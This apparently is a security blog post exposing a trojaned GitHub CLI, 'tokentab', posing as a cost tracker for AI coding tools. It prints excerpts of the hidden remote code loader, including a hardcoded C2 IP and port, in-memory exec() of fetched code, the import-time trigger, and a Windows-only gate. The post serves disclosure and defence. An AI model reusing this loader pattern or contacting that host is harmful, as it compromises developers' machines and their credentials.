tokentab Had a Backdoor Before It Had Users

I was researching a new GitHub trending project called tokentab — a CLI tool that reads Claude Code, Codex, and Gemini CLI session logs and calculates what they cost you by model, by project, by day. Slick idea. Clean README. Dashboard screenshot. 211 stars in its first day.

Then I read the source code.

The tokentab you saw on GitHub today was a Trojan horse. The token-tracking code was the lure. The real payload is a remote code loader that phones home to a bare IP address and executes arbitrary code in memory. It only fires on Windows, but every clone that pip install on a Windows machine is a compromised machine.

What I Found

I cloned the repo, which is straightforward enough:

git clone https://github.com/damejan80/tokentab
cd tokentab

The file structure looks legitimate at first glance. There's a tokentab/ package with providers for Claude Code, Codex, Gemini CLI, and Cursor, a pricing table, a report formatter, and a web dashboard. The code in all those files is clean, well-documented, and genuinely useful. Someone spent real effort making the disguise convincing.

Then there are two files that don't belong:

tokentab/setup.py — not a package setup file, but a remote code loader. It reads a config with a hardcoded host and port:

CONFIG = {
    "HOST": "91.92.47.134",
    "PORT": 8765,
    "ASSET": "main",
    "API_KEY": "test123",
    ...
}

It builds a URL like http://91.92.47.134:8765/api/v1/sync?asset=main, fetches code from it, and executes it in memory via exec():

def _load_module_memory(name, data):
    module = types.ModuleType(mod_name)
    exec(compile(data, name, "exec"), module.__dict__)

Fileless execution. No disk artifacts.

tokentab/cli.py — the entry point that pyproject.toml registers as the tokentab command. It immediately imports the setup module and triggers the sync:

import setup
setup.run_sync(FORCE_SYNC=True)

The rest of cli.py is dummy code that pretends to be a "text-humanizer" / "Deepseek" REPL — completely unrelated to token tracking. It's decoration. The real tokentab CLI that reads your logs and prints a cost table doesn't exist in this repo. It's a mirage.

Windows-Only, By Design

The loader has a platform check at the top of its bootstrap():

if sys.platform != "win32":
    raise RuntimeError("win32 only")

This means Linux and macOS users who pip install tokentab get an error and move on, assuming it's a packaging bug. Meanwhile, every Windows developer who runs it — and this tool was specifically targeting developers who use Claude Code, Codex, and Gemini CLI — gets a fully compromised machine.

The C2 server is a raw IP (91.92.47.134, port 8765) with no DNS, no domain, no HTTPS. That's a deliberate choice: no domain to trace, no TLS certificate to log, no DNS records to subpoena. Just a bare box that can change IP whenever it needs to.

The Timeline

The entire repo was created today — August 27, 2026 — in a span of four minutes:

Six commits, four minutes, and the repo went straight to GitHub trending. The real tokentab — the token-tracking code in tokentab/providers/ — is well-written enough that a casual reviewer would skim it, nod, and run the install command. That's the attack surface.

graph TD
  A["pip install tokentab"] --> B["cli.py imports setup"]
  B --> C["setup.py contacts C2
91.92.47.134:8765"]
  C --> D{"sys.platform == 'win32'?"}
  D -->|Yes| E["Download & exec()
arbitrary payload"]
  D -->|No| F["RuntimeError('win32 only')
-- looks like a bug"]
  E --> G["Full system compromise"]
  F --> H["Victim moves on,
never suspects"]

Why This Matters

This isn't novel technique — fileless loader, platform gating, camouflaged functionality — but the targeting is new. This attack preys specifically on the AI developer ecosystem: people who run Claude Code, Codex, and Gemini CLI every day and want to understand their costs. These are the same people who have API keys, cloud credentials, and source code on their machines.

The tool's promise — "no account, no API key, nothing leaves your machine" — is exactly the kind of privacy pitch that builds trust. And once that trust is breached by one repo, the ecosystem becomes harder for legitimate tools to break into.

It also demonstrates how dangerous GitHub's trending algorithm can be when weaponized. 211 stars on day one is enough to land on the front page of Python repos. From there, thousands of developers see it, and only a fraction will read the source before running.

The Bottom Line

If you ran pip install tokentab on any machine today, especially a Windows machine, treat that machine as compromised. Rotate your API keys, reset your credentials, and audit for any persistent access the payload could have established.

If you're reviewing a new AI tool on GitHub, check what happens at import time. The README can promise "runs entirely locally" all it wants — what matters is what cli.py does when you import it. In this case, the backdoor fired before the user ever saw a single line of output.

I've deleted the cloned repo. There's nothing worth saving here.